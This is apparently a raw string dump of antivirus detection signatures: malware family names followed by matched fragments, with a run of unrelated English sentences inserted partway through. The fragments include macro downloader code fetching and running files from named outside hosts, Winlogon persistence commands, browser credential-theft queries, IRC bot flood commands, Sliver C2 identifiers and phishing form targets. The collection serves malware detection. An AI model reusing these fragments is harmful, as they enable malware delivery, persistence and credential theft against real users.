open\\internetexplorer\\iexplore.exehttp://www.tagbao.com/open >open\\internetexplorer\\iexplore.exehttp://www.tagbao.com/open !Cosmu.A !DyCode.C !Webnav.A!dll :\\windows\\system32\\index.html 360seURL\\shell\\open\\command :\\Program Files\\wisesoft\\ htmlfile\\shell\\open\\command Explorer\\iexplore.exe\" \"%1\" \\wisesoft\\config.ini \\wisesoft\\config.ini] !Banker.XO </B><SPAN id=bank-name> BANK=%s&QIAN=%s&ALIPAYNAME=%s&ALIPAYVER=%s *BANK=%s&QIAN=%s&ALIPAYNAME=%s&ALIPAYVER=%s %s/PayToMe/TB_Pay.Asp?nFlag=0&UserName=%s )%s/PayToMe/TB_Pay.Asp?nFlag=0&UserName=%s] ip.hetodo.com:8754/ip.php .hetodo.com:8080/sogouconfig/click_new_ '.hetodo.com:8080/sogouconfig/click_new_ /count.asp?mac=%s&ver=%s /count.asp?mac=%s&ver=%s] !Morix.B !Morix.B\t@ !Morix.C !Mulcss.A <$ t! %SystemRoot%\\System32\\svchost.exe -k $%SystemRoot%\\System32\\svchost.exe -k sc config UI0Detect start= disabled #sc config UI0Detect start= disabled SOFTWARE\\ODBC\\SQLLevel SOFTWARE\\ODBC\\SQLLevel] NewStart\\ADSCut_SingleQQ\\release\\ADSCut.pdb +NewStart\\ADSCut_SingleQQ\\release\\ADSCut.pdb !FakePlayer.B vnetservices.l0086.com.cn \\NethomeInfo\\MyIEData\\main.ini \\NethomeInfo\\MyIEData\\main.ini] !OnLineGames.ZEA!dll /t.asp C:\\mxdos.sys C:\\mxdos.sys] !Startpage.ZA zhenlaji tongji.aectime.com/api/ 117.40.196.202/tj7/count.asp?mac= 114search.118114.cn/search_web.html? dianxin.online.cq.cn/api/taobao/index.htm] !OnLineGames.ZDX!dll up/Upf.asp %s%s?ac=h&i=%s&h=%s %s%s?c=q&i=%s&s=%s&a=%s&m=%s&t=%d %s%s?c=q&i=%s&s=%s&a=%s&m=%s&t=%d] !QQpass.CIA d:\\sys.txt d:\\Txs.dll mm2020.usa20.ceshi6.com/SPOP/DXBPVQ/user.asp?username= &op_type=add&submit=ok &op_type=add&submit=ok&a2=&a1=&password=] !OnLineGames.ZDM!dll ?a=%s&s= &u=%s&p=%s&r=%s& &u=%s&p=%s&r=%s&] !OnLineGames.ZDV!dll /mibao.asp %s?act=&d10=%s&d80=%d ?d10=%s&d11=%s&d00=%s&d01=%s&d22=%s&d32=%s&d70=%d&d90=%d ?d10=%s&d11=%s&d00=%s&d01=%s&d22=%s&d32=%s&d70=%d&d90=%d] !Delf.ZSA .xz19.com ctfmon_ kuodousetup38_ CnIE.tmp cn.tmp  cn.exe !OnLineGames.ZED!dll %s?act=getpos&d10=%s&d80= ?a=%s&s=%s&u=%s&p=%s&pin=%s& wsidny.asp wsidny.asp] !VB.YAK kaoti.exe ahui.exe, 0 \t(C:\\WINDOWS\\system32\\ c.greenclick.cn/click?pid=23&mid=19483&channel=2&pt=df] !VB.YAB \\Hijack.exe nResurrection.bat .18286.net/?xin NaNianHuaKai] !Xwxia.A \\npdrmv.jpg\" /q /f %MYFILES%\\coopen_setup .zuihouyi.com/ a.xwxiazai.com/ .07396.com/ .07396.com/] !Inbat.A %MYFILES%\\Upd.exe %MYFILES%\\in.exe //www.xunlei100.com/msn/ //install.xinruicn.com //to2.5cnd.com/ //a.xwxiazai.com/ /bibibei /coopen_setup_ pipi\\unins000.exe\" /f  /DDHYT.exe  /pipi_dae_ /kugou_  /36a11.exe  /36a11.exe] !Kplo.A jjjjjjjh \\lpk.dll  LpkInitialize LpkInitialize] !Startpage.AEJ .k969.com P-ba4f-00a0c91eedba}\\Shell\\Start\\Command\\ ,\\iexplore.exe\" http:// lore.exe,-32528 L\\Desktop\\NameSpace\\{1f4de370-d627-11d1 $a}\\LocalizedString] !Hupigon.ZAI fUCK_AVP MyLive \\pbk\\rasphone.pbk \\perfc008.dat  [%d/%d/%d %d:%d:%d] BITSServiceMain BITSServiceMainx MmM0bV1uKjhdTTQ3ZXM1PD5Anw==@3QLz4PEC/vMCvQP7+58= HAHHHH MmM0bV1uKjhdTTQ3ZXM1PD5Anw==@3QLz4PEC/vMCvQP7+58=HAHHHH SOFTWARE\\mICRosOFT\\wINDoWs nt\\cURrENTvERsIoN\\sVcHosT %s:\\DoCumEnts And SetTinGs\\LocalSeRVice %s\\%d_Index.TEMP %s\\%d_Index.TEMP] !Hupigon.ZAJ \\teslortnoctnerruc\\ \\server.exe 36%xsvc 36%xsvc] !Hupigon.ZAK Xmfy] TQ*zR 0etVolumeInformation GT_Update \tGT_Update \\Gh0st %d \t\\Gh0st %d %s:\\Documents  ONS\\IExPLoRE.EXE\\SHelL\\ ONS\\IExPLoRE.EXE\\SHelL\\] !Agent.ABGI uRfNR Zg&uRfNR !Boaxxe.L !Delf.CO KeySpyXP KeyWord.Scroll_Lock {NUMPAD DIVIDE} DJ Mentos Motyl.exe Motyl.exe] Ransom:Win32/LockScreen.AS /c REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v Userinit /t REG_SZ /d \"C:\\WINDOWS\\system32\\userinit.exe,C:\\Documents and Settings\\Administrator\\ 0-9.EXE\" /f !Small.DJ $lsass.exe Fail To create Snap Shot $lsass.exeFail To create Snap Shot Is GodMode: Fail Error! root$  !Delf.KM !GameHack.C .+:\\\\.+\\\\Desktop\\\\Yeni Klas.+\\\\Project1.vbp 1,.+:\\\\.+\\\\Desktop\\\\Yeni Klas.+\\\\Project1.vbp !CeeInject.gen!DY !Sinowal.AHD !Pinkblocker.gen!A  $0 *0 !VB.CR !VB.CR[@ !VB.LU createobject(\"winhttp.winhttprequest Xcreateobject(\"winhttp.winhttprequest _.open\"get\", _g/\"&\"c3\"&\"s7\"&\"z\",false _execute Keylogger.HB!bit watchwinsp.org/v2.txt shutdown /s /t 0 sendActiveEmail sendActiveEmail] VirTool:Win64/Drixed!rfn Puwin.A TrojanDownloader:PowerShell/Cobelatt $TrojanDownloader:PowerShell/Cobelatt tvpbulv\"+\"iievigewgaaaasi0d6v///0ibwzblaqd/00ijw0mj+ggeaaaawv/qqbjwtajwaauaaaba/9ma8aaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaaawg2zrunocufj6arhsegk4o7znuhz6arijvmy4khocuko8z7hyegk4njtqump6arhbapg4xxocufj6a7idegk4njtmuhj6arg0lmi4u3ocudsuy7htegk4njtoufn6arhsawnounocuaaaaaaaaaaaueuaagsgbgboptxxaaaaaaaaaadwacigcwilaabiagaasaiaaaaaaac Gendwnurl.BE!bit jbdsicoio http://img-save.xyz HKEY_CURRENT_USER\\Software\\Classes\\steam\\Shell\\Open\\Command] Gendwnurl.BJ!bit http://47.89.187.54  .rar C:\\TEMP /k DownloadFile] Gendwnurl.BK!bit http://ckpetchem.com entrypoint invoke !Tinba.H!bit 83\":f6 !SpyEyes !Cowmf.A !VBCrypt.A Virus:Win64/Expiro.EN!bit QRGUJ AUAVAWH !Zuepan.A application/xhtml+xml %s%08x.%s /c start \"\" \"%s\" 88C3D173715405943DF9AA0DA0C9893B BD75476FE8B74F9F2EF73E9128F946F5 !Jscrpt.A!bit !Farfli.PN!bit TCPConnectFloodThread.target http://119.249.54.113/ HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0] !Swotter.A!bit !Swotter.A!bitD@ k<-OrZ  NDXag S(iKOrZ S~,`|  vwM@x oe Wb~ !CeeInject.RT!bit That plumber lent her a lot of money Joe struck him a heavy blow That guard sold him a ticket That journalist showed them a photograph That carpenter struck him a heavy blow Lesters ex-wife orders her a new hat Willie bought her a gift Jackie strikes him a heavy blow Stephen struck him a heavy blow Those police officers offered her a ride home That student saved her a seat Betty gives him a magazine Ed ordered her a new dress Abraham gives him a magazine Those scientists told her the shortest way Miss Johnson envied him his good fortune That janitor shows them a picture Abraham brought her a small present Debbie taught them English Ned sends him a package Those taxi drivers make him some coffee That manager read the children a story That teacher wrote her a letter Albert lends him a pencil Ann Lynn sent him a package Willie bought her a gift Joannes mother offers her a bribe Those science teachers buy her a gift Joannes mother offers her a bribe Those science teachers buy her a gift] !Skeeyah.A.bit I\tNLGB !CeeInject.SB!bit !Kryptik.FZTF ;* 'C !Azden.A !Kuiper !WebOpen.A !Totecx Ransom:Win32/Crypren Trojan:O97M/Bailiwick.B CoinSteal.A!bit bytecoinwallet.wallet CryptoService.pdb dsciuyizhiuuc.php?type=] !Kasidet.G!bit Xl5jVVxcVWIx CoinMiner.KA!bit !CoinMiner.OS!bit !Turla 2-'1Y !VBRan Ransom:MSIL/WannaPeace.A C}+x{ !Pynamer.B!ac  ]a eg Jw# !Pynamer.A!ac % G+r 6 {l> ** *M'*^Y RUxp    IqV :pqK= Y.+uO V1r-28 |zO-0  nqbhg /H (z\" /H [4 ' GvU h> rZ 10feW !Plimrost fileinstall(\"encrypted.data\",@tempdir&\"\\ 0\",1)$  =fileread(@tempdir&\"\\ 0\")global$ P=_base64decode($  ,\"\",@scriptfullpath) TrojanDownloader:PowerShell/Falsip.B $TrojanDownloader:PowerShell/Falsip.B !Schopets.O Nscript:Type_vbs&(SCPT:VBS/Obfuscator.Split.Adodb.A|SCPT:VBS/Obfuscator.Split.FileSystemObject.A|SCPT:TrojanDownloader:VBS/Schopets!SaveToFile)&(SCPT:VBS/Obfuscator.Reverse.ResponseBody|SCPT:Schopets!ReverseHttp|SCPT:Schopets!ReverseXmlHttp|SCPT:Schopets!ReverseAdodbStream|SCPT:Schopets!ReverseWscriptShell)] !Schopets.OB InEmail&AGGR:SingleVBSInArchive&Nscript:Type_vbs&(SCPT:VBS/Obfuscator.Split.Adodb.A|SCPT:VBS/Obfuscator.Split.FileSystemObject.A|SCPT:TrojanDownloader:VBS/Schopets!SaveToFile|SCPT:VBS/Obfuscator.Reverse.ResponseBody|SCPT:Schopets!ReverseHttp|SCPT:Schopets!ReverseXmlHttp|SCPT:Schopets!ReverseAdodbStream|SCPT:VBS!Obfuscator.Split.CmdExe)] CoinSteal.B!bit VictimLogs BitcoinWallet SendUrlAndExecute get_Screenshot get_Screenshot] Nekozillot.A!bit \\AppData\\Local\\Amigo\\User Data\\Default\\History http://zillot.kz/System/mysql/users.php regsetauto RisingForce2] SupportScam:MSIL/Payreen.A Q F/] 3\tN@U Q F/] Q F/] Trojan:Win64/CoinMiner.OT!bit !Gendelfan.F!bit Trojan:Win64/Wdfload.M!bit CoinMiner.OU! Elkcro.A Erebus Final Final\t@ Firhel.A Flood.AU Flood.BR Flood.C Flood.DH Flood.E Flood.F Flood.G Flood.I Flood.P Flood.T Flood.V Flood.W Flood.X +0UOu Froze Girc.17 Girc_181.A Goodbot Grimgram Hetrad Iblis Iland.A Informa.A InSpic Iover.A Iroffer Jerret.A Jerret.D Judge sockwrite-nsockcloneprivmsg%jd.dachan:3,1doneudpflooding$2 <sockwrite-nsockcloneprivmsg%jd.dachan:3,1doneudpflooding$2 Karmahotel Lambot.A Lamebot Menak Mesut Mimic Mimic.C Mimic.E Mimic.F n2=msdossettings.inin3=fatsys.inin4=namesserver.ini 5n2=msdossettings.inin3=fatsys.inin4=namesserver.ini r4ndom.server{return$gettok(irc.nitro.net:irc.dal.net:irc.austnet.org:irc.webchat.org:irc.infatech.net,$rand(1,5),58)} xr4ndom.server{return$gettok(irc.nitro.net:irc.dal.net:irc.austnet.org:irc.webchat.org:irc.infatech.net,$rand(1,5),58)} Mircer.A Momma Momma.A Momma.A\t@ ={Quu ={Quu( Momma.C //run$mircdir$+winsok .sockwrite-ndlgethttp://$+%usite2$+/$+%fileini 0.sockwrite-ndlgethttp://$+%usite2$+/$+%fileini Momma.D , ^B|7 Movie.A Moyt.A Moyt.B Mutin.A Muzik Niqim Noclose n0=/join#![0wn3d$chr(36)$+nulln1=/timer060/join#![0wn3d$chr(36)$+null Gn0=/join#![0wn3d$chr(36)$+nulln1=/timer060/join#![0wn3d$chr(36)$+null {?<D] PPack Randon.AE Randon.L Randon.S Regie.A Reklam.A Reklam.C Reklam.D Reklam.E Reklam.F Reklam.I Sensi.11 Shiznat.C Sipg.A Slowdown Smev.B Speed.A Tawb.A Temper Thea.A Thorin.11932 Tkbot Trilissa.J Tzet.A Upaga Whisper.A AAssign 0oUOo AAssign.A ABizex.A ABlast.A ABomgen.B ]5JW ABomgen.C ABomgen.D ABomgen.E ABomgen.P AChango ACobase.A AConcon tYg&`i ADavinia ADriveFormat.A ADropperAppl.A AFakehost AFofiv.A AGhostdog.A AHTADropper.A AIestart.E AInformer AInor AInor.AR AInor.BB AInor.BE AInor.BL CIwillbased AKillfiles.B ALooper.B ALooper.D AMarfan.A AMimail.R ANyrobot.A AObjdata AParams.D APaula APsyme.N ARapa AResizer.A ARunner.A ASeeker.C AShowhelp.A ASmall ASmall$@ I1(C\t `sg&| Gx1wbJPv ASmall.A ASmall.D ASmall.F ASpthgen AStartpage.F ATalkStocks.A AVBSWG.C AVoodoo.A AVoodoo.C AWhitehome AWindowbomb.C AWipe.A AZivaExploit Trojan:ABAP/Cadabra DoS:ABAP/Delan.A Trojan:ABAP/Delins.A Worm:ABAP/Rapid.A Backdoor:ABAP/Rivpas.D !SerialThief Virus:ALisp/Pobresito.A Virus:ALisp/Bursted.A Virus:AmiPro/Amiv Trojan:ANSI/Bart Trojan:ANSI/Spehelp Monster.6109 Backdoor:ASP/Ace.B Backdoor:ASP/Ace.C Backdoor:ASP/Ace.D Backdoor:ASP/Ace.F TrojanDropper:ASP/Cobase Backdoor:ASP/Sql Backdoor:ASP/Uxor.A Trojan:ASX/Conp SillyTroj Worm:BAS/Alba  Trojan:BAS/Alpha.A Virus:BAS/Bv3 * TrojanDropper:BAS/Clobus.A Worm:BAS/Craytron Worm:BAS/Junkrem Worm:BAS/Trash.A Virus:BAS/Xyc * Trojan:CorelScript/CST.A Virus:CorelScript/CSV.A Trojan:CorelScript/PVT.A !IISCmd Block Block.A Trojan:HC/BangSpice.A Trojan:HC/HC_9603.A Trojan:HC/MerryXmas.A Backdoor:HE/Flys.A Trojan:HE/Flys.B Exploit:HTA/Behind.A Exploit:HTA/Showhelp Exploit:HTA/Wareme.A Virus:HTML/Abbum.A Exploit:HTML/Ability Trojan:HTML/Alcaul.F Worm:HTML/Alcaul.M Worm:HTML/Alcaul.Q Exploit:HTML/AnyMail TrojanDownloader:HTML/Balder.A TrojanSpy:HTML/Bayfraud.A Virus:HTML/Blowup Trojan:HTML/Briss.A Trojan:HTML/ByteVerify.A Trojan:HTML/CardStealer Trojan:HTML/Citifraud.A TrojanSpy:HTML/Citifraud.I = Asc(Mid(  Mod Len( + Sheet2.Range(  + CStr( )).Value , \".\") , \"::\") = ThisWorkbook.Name Print #1, = \"\"] !Bynoco!lnk Exploit:Win64/Revsell.A cmd.exe%s%s Ransom:Win32/Maze.Q!MSR Killyourself.dll wchCrypt32 dwShellCodeSize TrojanDownloader:AndroidOS/Banker!MSR %TrojanDownloader:AndroidOS/Banker!MSR TrojanSpy:AndroidOS/Fakecop!MSR Exploit:AndroidOS/Lotoor.A!rfn !Keylogger.AA!MSR !Downloader.AU!rfn TrojanDownloader:O97M/Obfuse.AA!MTB #TrojanDownloader:O97M/Obfuse.AA!MTB = CreateObject(\"Scripting.FileSystemObject\") Wicmd.CreateFolder \"C:\\pic1\\\" = \"C:\\pic1\\Build16.cmd\" \"start c:\\pic1\\ PreviewPreview2.exe\" TrojanDownloader:PowerShell/Elshutilo.AJ!MTB ,TrojanDownloader:PowerShell/Elshutilo.AJ!MTB Replace(f1, \"/\\\", \"2\")) Replace(\"Pow#&*$%ell\", \"#&*$%\", \"ersh\")) Application.ExecuteExcel4Macro (  + \"\"\"\" +   + \"\"\"\" + \", \" + \"\"\"\" +   + \"\"\"\" + \", \"\"\"\", 0)\") TrojanDownloader:PowerShell/Elshutilo.PS!MTB ,TrojanDownloader:PowerShell/Elshutilo.PS!MTB Dim si As STARTUPINFO Ret3 = Environ$(\"APPDATA\") + \"\\pay1.ps1\" Ret2 = URLDownloadToFileA(0, \"http://kredytinksao.pl/raw.txt\", Ret3, 0, 0) Ret2 = URLDownloadToFileA(0, \"http://wpr.mko.waw.pl/uploads/scheduler.txt\", Ret3, 0, 0) Ret7 = CreateFileA(Ret3, 1, 2, sa, 3, 0, 0) Ret = CreateProcessA(vbNullString, Ret9, ByVal 0&, ByVal 0&, True, 32, ByVal 0&, vbNullString, si, pi) Ret = CreateProcessA(vbNullString, Ret9, ByVal 0&, ByVal 0&, True, 32, ByVal 0&, vbNullString, si, pi)] !CryptInject.SK!MTB 307835333734373236393645363735323635373636353732373336353238323436343239 30783434364336433533373437323735363337343433373236353631373436353238323236323739373436353230 0x40486f6d654472697665202620225c5c5c5c57696e646f77735c5c5c5c4d6963726f736f66742e4e45545c5c5c5c4672616d65776f726b5c5c5c5c ( $URL , $PATH ) = STRINGREPLACE (  ( $FILE , $STARTUP , $RES , $RUN = 3078343636393643363534463730363536453238 = \"WriteProcessMemory = STRINGREGEXPREPLACE ( $SITEM , \"^Row\\s\\d+\\|(.*)$\" , \"$1\" ) = STRINGREGEXPREPLACE ( $SITEM , \"^Row\\s\\d+\\|(.*)$\" , \"$1\" )] !Delpem.A!cry SIGATTR:DelphiFile&HSTR:DelphiPacker.A] *&SIGATTR:DelphiFile&HSTR:DelphiPacker.A] Empyre.D!MTB TrojanDownloader:O97M/Obfuse.LHO!MTB $TrojanDownloader:O97M/Obfuse.LHO!MTB TrojanDownloader:O97M/Obfus.B!MTB !TrojanDownloader:O97M/Obfus.B!MTB (\"wscript //nologo c:\\Colorfonts32\\visitcard.vbs  @ c:\\Colorfonts32\\secpi15.exe start c:\\Colorfonts32\\secpi15.exe LoadScriptVBS GetObject(HashTable()), \"c:\\Colorfonts32\\B4D9D02119.cmd\", 0 LoadScriptVBS GetObject(HashTable()), \"c:\\Colorfonts32\\B4D9D02119.cmd\", 0] TrojanDownloader:O97M/Macrobe.BD!MTB $TrojanDownloader:O97M/Macrobe.BD!MTB cvcviagens.sslblindado.com/ htahtml\" var0 = \"MSHTA https://  :var0 = \"MSHTA https:// Shell (Var) Shell (Var)] Trojan:HTML/Phish.L!MTB tmss-ict.com/include/result.php\"> Itmss-ict.com/include/result.php\"> <formmethod=\"post\"action=\"https://  C<formmethod=\"post\"action=\"https:// ARedirector.BD!MTB a-z=0; a-z.length; 0-9;if(( a-z)==true)&&( 0-9)&&( )==false)){ a-z=eval( !MemoryInjection.A!MTB !Pydcrypter.A!MTB AKoadicPersist.A case0x80000001 ;case0x80000001 k0adic 0regdelete p%appdata%\\\\  .hta\" Trojan:Python/Febrev.A importmarshal cs=s@*ket.s@*ket(s@*ket.af_inet,s@*ket.sock_stream) gs.re*v(2048) kw?n32.^rz2 ire]zy=@]en(\\'w?n32.^rz\\',\\'r+\\') n*urrent_q?r=(@s.!et*wq()) urrent_user+*urrent_q?r !Splinter.A!MTB sliverpb.NetInterface sliverpb.WGSocksServer sliverpb.PortfwdProtocol sliverpb.WGTCPForwarder .sliverpb.RegistryType .sliverpb.RegistryTypex sliverpb.Register.ActiveC2 sliverpb.KillSessionReq sliverpb.Register.PidPid sliverpb.IfconfigReq sliverpb.TerminateReq sliverpb.NetInterfaces sliverpb.NetInterfacesx /xc/load.go main.bake syscall/zsyscall_windows.go *sliverpb.Process *sliverpb.  Info *sliverpb.Migrate *sliverpb.Elevate *sliverpb.Kill *sliverpb.DNSPoll *sliverpb.DNSBlockHeader *sliverpb.ExecuteAssemblyReq *sliverpb.ImpersonateReq *sliverpb.ImpersonateReqxz ).GetPid ).GetFilename ).GetActiveC2 ).GetVersion ).GetReconnectInterval ).GetProxyURL ).GetExecutable ).GetOwner ).GetSessionID ).GetCmdLine ).GetTargetLocation ).GetReferenceDLL ).GetTargetDLL ).GetProfileName ).GetUsername ).GetPassword ).GetDomain ).GetRequest ).GetProcessName ).GetArgs ).GetEntryPoint ).GetKill ).GetRemoteAddr ).GetSkState ).GetUID ).GetProcess ).GetEnablePTY ).GetTunnelID ).GetResponse ).GetNetInterfaces ).Reset ).String ).GetHostname ).GetPort ).GetCommand !ExecScpt!MSR Trojan:Win64/VMProtect!MSR !Obfuse.J!MTB AFaceliker.AM!MTB TrojanDownloader:O97M/Obfuse.RS!MTB #TrojanDownloader:O97M/Obfuse.RS!MTB = ts(\" ;quui()fmjGebpmoxpE/*uofjmDcfX/ufO!udfkcP.xfO)##!eobnnpD.!mmfitsfxpq\") ' R !U0!Z!E0!O0!Z!D0!fdjpid!D0!fyf/end]34nfutzT]txpeojX];D\") & ts(\"*(f(!,!(yf/o(!,!(ph(!,!(pmo(!,!(jx]sjeq(!,!(nu](!,!(djm(!,!(cv(!,!(Q]t(!,!(sft(!,!(V](!,!(;D(!-(\") Put #1, , ts(\"##sjeqnu]djmcvQ]tsftV];D##!sjeln!d0!end\") Put #1, , ts(\"##sjeqnu]djmcvQ]tsftV];D##!sjeln!d0!end\")] TrojanDownloader:O97M/Obfuse.RV!MTB #TrojanDownloader:O97M/Obfuse.RV!MTB Nvrerc = Replace( \", \".\" &   & \"js\" &   & \"e\") Name   As Nvrerc Gjurv_tr Application.StartupPath, \"\\.\" & \".\\.\" & \".\\..\\\"  = \"\" & \"ru\" & \"\" & \"n\"  & \"sh\" &   & \"e\" &   & \"l\" & \"l\" PWS:HTML/Phish.J!MTB @ F#?Qw Trojan:HTML/Phish.RV!MTB Trojan:HTML/Phish.RV!MTB%@ method=\"post\"action=\"http://cpanel.asimsrl.com/ifk/cat.php <method=\"post\"action=\"http://cpanel.asimsrl.com/ifk/cat.php r:n#  v Wrg Getshell.B!MTB Ransom:Win32/Phobos.PA!MTB D$$PSj D$$PSjj !Obfus!MTB !Lokibot.PA!!Lokibot.gen!SD /fre.php %s\\Cyberduck \\QupZilla\\profiles\\default\\browsedata.db %s\\%s\\User Data\\Default\\Login Data SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins %s\\FossaMail\\profiles.ini %s\\Foxmail\\mail %s\\NETGATE\\Black Hawk %s\\NETGATE\\Black Hawk] !Autorun!MSR Empire.A @l(#T AMeterpreter!MSR HackTool:PowerShell/DllInject !Emotet.DCE!MSR !FormBook.U!MTB jAHxB6aic2yPK95MpS6x5gUm315 kdqF0DZF6125 EtCes0mfY2QoX35YAnKh0mn0cSPU09Z34] !FormBook.V!MTB Kdr2T71LBy9gHHHZEFyk73hGH84 fHsx74CpJPOGAx8D7Va87Lt1iSnSiu0VIPugzUyj170 Tp546gnRXdgjufwH77JNTSB4JFs4fR1esloL49oS188] !FormBook.W!MTB Fbm5KcKLqiiT2N36caGe0oiMvDuHr4Lo57Y2zIg147 CbcEKmg1elifRN6uqpv13 WDDBhbETAWALhgGsoAZ1CnlQAnXxkZQV61Vun207] !FormBook.Y!MTB !Fareit.SN!MTB !GameTool!MSR Behavior:Win32/OctProcMitigationFlags.A .'Behavior:Win32/OctProcMitigationFlags.A L@\"mitigationflags: K@\"mitigationflags: Behavior:Win32/OctProcSignatureLevel.A .&Behavior:Win32/OctProcSignatureLevel.A L@ signaturelevel: K@ signaturelevel: Behavior:Win32/RDPSuspTool.A @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- !\\~@@ @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- pY_6Y@@ @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- @  e- phvG3@@ @  e- TrojanDownloader:O97M/Donoff.DA!MTB #TrojanDownloader:O97M/Donoff.DA!MTB TrojanDownloader:O97M/Donoff.QF!MSR #TrojanDownloader:O97M/Donoff.QF!MSR Xxxwsxcxrixptx xx X/ex:xxxxXJxSCrxipxtx x\"\"x%x~xfxX0x Environ(  DATA Trojan:O97M/EICAR_Test_File.KA!MSR \"Trojan:O97M/EICAR_Test_File.KA!MSR eicarPart1 = \"X5O!P%@AP[4\\PZX54(P^)7C\" &eicarPart1 = \"X5O!P%@AP[4\\PZX54(P^)7C\" eicarPart2 = \"C)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\" <eicarPart2 = \"C)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\" eicarPart1 + eicarPart2 eicarPart1 + eicarPart2] Injector.AR!MTB r`J{.Z AgentTesla.MPJ!MTB Bladabindi.MPJ!MTB AgentTesla.KKH!MTB Empyre.E!MTB !Predator.PVS!MTB F;t$D| !IcedID.KDS!MTB !IStartSurf.KDS!MTB !Azorult.PVD!MTB TrojanDownloader:SWF/Esaprof!MSR  TrojanDownloader:SWF/Esaprof!MSR !VBObfus.V!MTB !Rbot.V!MTB !Appis.V!MTB TrojanDownloader:O97M/Obfuse.SJ!MTB #TrojanDownloader:O97M/Obfuse.SJ!MTB = \"https:// %/lsass.exe\" l = ActiveDocument.Path + \"\\lsass.exe\" = CreateObject(\"Microsoft.XMLHTTP\") Open \"GET\",  , False 'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox Worksheets(1).Activate = Range( ).Comment.Text = StrReverse(Range( ).Comment.Text) .Exec (StrReverse( GameHack!MSR !U<0nh FormBook.X!MTB FormBook.Z!MTB !Emotet.DCD!MTB !Emotet.DCE!MTB !Filecoder.AA!MSR !Filecoder.AB!MSR B'~o_ !Filecoder.AC!MSR jw3y= !Filecoder.AD!MSR E58nb] !Filecoder.AE!MSR !CryptInject.SL!MSR Sufnoc.E Masdecr.A Ozwer.C Simpan.B Dest.F Thus.AE Virus:WM/Colors.AX #>+l] Virus:WM/Johnny.A1 Virus:WM/Wazzu.CIM Virus:WM/Alliance.A Virus:WM/Rats.A Virus:WM/Archie.A Virus:WM/Atom.C Virus:WM/Atom.E Virus:WM/Atom.F Virus:WM/Bandung.A Virus:WM/BlackEnd Virus:WM/Boom.A Virus:WM/Buero.A @;G+] Virus:WM/Colors.A #>+lWV #>+lWVV] Virus:WM/Colors.B Virus:WM/Colors.J Virus:WM/Concept.L Virus:WM/Concept.H Virus:WM/Concept.M Virus:WM/Concept.U Virus:WM/Spiral.A Virus:WM/Concept.B _i3>P' Virus:WM/Concept.S Virus:WM/Concept.T Virus:WM/Daniel.B 8hL'.] Virus:WM/Darkside.A Virus:WM/Date.A Virus:WM/Divina.A Virus:XM/DMV.A Virus:WM/Hellgate.A Virus:WM/Doggie.A Virus:WM/Easy.A Virus:WM/Epidemic.A Virus:WM/Friendly.A &_O;J Virus:WM/Fury.A Virus:WM/Guess.A Virus:WM/Concept.D .oV7] Virus:WM/Hassle.A $.t\"! Virus:WM/Helper.A Virus:WM/Hot.A Virus:WM/Irish.A Virus:WM/Italian.A Virus:WM/Killdll.A Virus:WM/Twno.B Virus:WM/MadDog.B Virus:WM/MDMA.A Virus:WM/Minimal.B Virus:WM/Paper.A Virus:WM/Niki.A Virus:WM/Nop.A Virus:WM/Nop.D Virus:WM/Npad.C Virus:WM/Nuclear.A Virus:WM/Nuclear.B Virus:WM/Showoff.A Virus:WM/Pheeew.A Virus:WM/Polite.A Virus:WM/Rapi.A Virus:WM/Satanic.A Virus:WM/Smiley.A Virus:WM/Spooky.A Virus:WM/Stryx.A Virus:WM/NJ_WMVCK2.T Virus:WM/NJ.WMVCK Virus:WM/MVDK * Virus:WM/FormatC Virus:WM/Twister.A Virus:WM/Twno.A Virus:WM/Twno.D Virus:WM/Tk.A * C)\tk- Virus:WM/Kompu.A Virus:WM/Phardera.B Virus:WM/Phardera.C Virus:WM/Puritan Virus:WM/Random.A Virus:WM/Twno.E Virus:WM/Twno.F Virus:WM/TwoLines.A <3Wj  Virus:WM/Xenixos.A Virus:WM/Wazzu.AB Virus:WM/Wazzu.AE Virus:WM/Wazzu.AS Virus:WM/Wazzu.B i uC\t Virus:WM/Wazzu.F Virus:WM/Wazzu.L Virus:WM/Wazzu.Y Virus:WM/Wazzu.Z Virus:WM/Wazzu.D Virus:WM/Wazzu.I Virus:WM/Wazzu.AT Virus:WM/Wazzu.Q Virus:WM/Wazzu.X ; )C\t Virus:WM/Outlaw.A Virus:WM/Outlaw.B Virus:WM/Outlaw.C Virus:WM/Wazzu.C Virus:WM/Wazzu.AZ Virus:WM/Wazzu.BF Virus:WM/Wazzu.BJ Virus:WM/Attention.A Virus:WM/Wazzu.M Virus:WM/Wazzu.S Virus:WM/Wazzu.U Virus:WM/Wazzu.T Virus:WM/Colors.L Virus:WM/Concept.R Virus:WM/Concept.X Virus:WM/MWDK.B Virus:WM/NJ_MVDK_Black.A Virus:WM/Doggie.D Virus:WM/Gangsterz.A Virus:WM/Kerrang.A Virus:WM/Target.B Virus:WM/Lunch.B Virus:WM/Magnum.A Virus:WM/NJ_WMDLK!Grunt Virus:WM/Phardera.E Virus:WM/Minimal.A Virus:WM/Abc.A Virus:WM/Atom.B Virus:WM/Atom.D Virus:WM/Clock.A Virus:WM/Concept.C Virus:WM/Concept.E Virus:WM/Concept.F Virus:WM/Concept.G ]0H4C Virus:WM/Concept.I Virus:WM/Concept.J Virus:WM/Concept.K Virus:WM/Concept.N Virus:WM/CountTen.A Virus:WM/Daniel.A Virus:WM/Dietzel.A  EH\t] Virus:WM/Divina.C Virus:XM/DMV.B Virus:WM/FutureNot.A Virus:WM/Concept.AG Virus:WM/Goldfish.A Virus:WM/Johnny.A Virus:WM/Lunch.A Virus:WM/MadDog.A Virus:WM/MDMA.C Virus:WM/MDMA.D Virus:WM/NiceDay.A Virus:WM/Npad.B Virus:WM/Nuclear.C Virus:WM/Nuclear.E Virus:WM/Showoff.R Virus:WM/Tedious.A Virus:WM/Wazzu.A Virus:WM/Mercy.A Virus:WM/Showoff.G Virus:WM/Doggie.C Virus:WM/Doggie.E 